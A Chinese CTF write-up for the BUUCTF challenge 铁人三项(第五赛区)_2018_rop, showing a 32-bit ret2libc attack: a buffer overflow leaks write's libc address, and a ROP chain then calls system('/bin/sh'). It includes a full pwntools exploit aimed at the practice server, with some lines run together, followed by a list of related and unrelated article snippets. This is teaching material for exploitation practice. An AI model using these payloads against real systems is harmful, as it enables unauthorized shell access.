铁人三项(第五赛区)_2018_rop[32位libc泄露]

题目附件

解题步骤:
例行检查,32位,开启了NX保护

试运行一下程序,一开始让我们输入,然后直接输出“Hellow,world”

32位ida载入,首先习惯性的shift+f12查看一下程序里的字符串,没有发现现成的system(‘/bin/sh’)
从main函数开始看程序

第4行的函数是我们的输入点,read的buf长度为0x100,而我们参数的大小只有0x88,可以溢出0x78个长度,足够我们构造rop攻击

没有其他信息了,经典的泄露libc类型的题目

利用思路:

  1. 利用write函数来泄露程序的libc版本
  2. 知道libc版本后去计算程序里的system函数和字符串“/bin/sh”的地址
  3. 覆盖返回地址为system(‘/bin/sh’),获取shell

利用过程:

  1. 泄露libc版本
    这边提一下write函数的原型
ssize_t write(int fd,const void*buf,size_t count);

参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)

这边解释一下第一个payload
首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上main函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)
p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位

  1. 算出程序的偏移量,计算system和bin/sh的地址
offset=write_addr-libc.dump('write')     #计算偏移量
#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
  1. 构造rop获取shell
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)

完整EXP:

from pwn import *
from LibcSearcher import * r=remote('node3.buuoj.cn',27043)
elf=ELF('./2018_rop') write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main'] payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4)) libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write') system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh') payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh) r.sendline(payload)
r.interactive()


匹配到了多个libc版本,选第一个
泄露libc用到了延迟绑定技术,具体的看这个视频介绍

[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop的更多相关文章

  1. 铁人三项(第五赛区)_2018_rop

    拿到程序依旧老样子checksec和file一下 可以看到是32位的程序开启了nx保护,将程序放入ida进行查看 shift+f12 看到没有system和binsh等字样,考虑用泄露libc来做这道 ...

  2. 铁人三项(第五赛区)_2018_seven

    铁人三项(第五赛区)_2018_seven 先来看看保护 保护全开,IDA分析 首先申请了mmap两个随机地址的空间,一个为rwx,一个为rw 读入的都shellcode长度小于等于7,且这7个字符不 ...

  3. 网站SEO之百度优化不得不知的铁人三项规则

    奥运会有铁人三项,此运动更好的协调了运动员的综合素质水平,而百度优化排名中的“铁人三项”规则则是让网站的整体质量更好的满足市场用户体验.针对不同部分的操作,可以让网站在每个细节处都能凸显以人为本的服务 ...

  4. Phaser铁人三项

    /** * 模拟铁人三项 */ public class PhaserTest { private static Random random = new Random(System.currentTi ...

  5. 2020信息安全铁人三项 pwn复盘

    第一赛区 hacknote 程序存在格式化字符串漏洞和uaf,不多说了,很简单. 1 from pwn import * 2 3 p = process('./hacknote') 4 elf = E ...

  6. 2018铁人三项测评题 IOS99

    下面这一部分是我从网上复制过来的, 2.IOS 解题链接:http://ctf4.shiyanbar.com/web/IOS/index.php 这题页面中提示系统升级到了IOS99,我们可以想到修改 ...

  7. 计算几何-LA2218-HPI-第一次卡精度-vijos1087-铁人三项

    This article is made by Jason-Cow.Welcome to reprint.But please post the writer's address. http://ww ...

  8. 【BZOJ】【2765】【JLOI2010】铁人双项比赛

    计算几何/半平面交 本来我是想去写POJ 1755的,然后想起了这道跟它很像的题,但应该是弱化版,所以就先写了这个…… 我们可以发现每个人的总用时,与k是呈一次函数关系的:$time_i=\frac{ ...

  9. 【APIO2018】铁人两项(圆方树,动态规划)

    [APIO2018]铁人两项(圆方树,动态规划) 题面 UOJ 洛谷 BZOJ 题解 嘤嘤嘤,APIO的时候把一个组合数写成阶乘了,然后这题的70多分没拿到 首先一棵树是很容易做的,随意指定起点终点就 ...

随机推荐

  1. Dapr-Actor构建块

    前言: 前篇-绑定 文章对Dapr的绑定构建块进行了解,本篇继续对 Actor 构建块进行了解学习. 一.Actor简介: Actors 为最低级别的"计算单元". 换句话说,您将 ...

  2. mysql密码忘记如何恢复(windows/liunx版本:mysql-8.0.27)

    windows/liunx版本:mysql-8.0.27参考官网文档: https://dev.mysql.com/doc/refman/8.0/en/resetting-permissions.ht ...

  3. 既生瑜何生亮 access_token VS refresh_token

    中国有句老话, 既生瑜何生亮, 既然有我周瑜在世, 为什么老天还要一个诸葛亮啊? 同样的, 众所周知, 在 OAuth 2.0 授权协议中, 也有两个令牌 token , 分别是 access_tok ...

  4. CF1445E four points

    我们不妨枚举四个点的移动方向. 那我们可以直接算出在该情况的最优的答案. #include<iostream> #include<cstdio> #include<alg ...

  5. 洛谷 P7163 - [COCI2020-2021#2] Svjetlo(树形 dp)

    洛谷题面传送门 神仙级别的树形 dp. u1s1 这种代码很短但巨难理解的题简直是我的梦魇 首先这种题目一看就非常可以 DP 的样子,但直接一维状态的 DP 显然无法表示所有情况.注意到对于这类统计一 ...

  6. spring-boot -配置文件值注入

    /** * 将配置文件中配置的每一个属性的值,映射到这个组件中 * @ConfigurationProperties:告诉SpringBoot将本类中的所有属性和配置文件中相关的配置进行绑定: 默认在 ...

  7. Admixture的监督分群(Supervised analysis)

    目录 说明 实战 说明 Admixture通过EM算法一般用于指定亚群分类:或者在不知材料群体结构背景下,通过迭代交叉验证获得error值,取最小error对应的K值为推荐亚群数目.如果我们预先已知群 ...

  8. 架构B/S和C/S的区别

    CS = Client - Server = 客戶端 - 服務器.例子: QQ,迅雷,快播,暴風影音,各種網絡遊戲等等.只要有和服務器通訊的都算. CS(Client/Server):客户端----服 ...

  9. C语言 自定义函数按行读入文件

    在之前的博客中 https://www.cnblogs.com/mmtinfo/p/13036039.html 读取一行的getline()函数是GNU 的扩展函数. 这里用自定义函数实现这个功能,从 ...

  10. 66-Reorder List

    Reorder List My Submissions QuestionEditorial Solution Total Accepted: 64392 Total Submissions: 2818 ...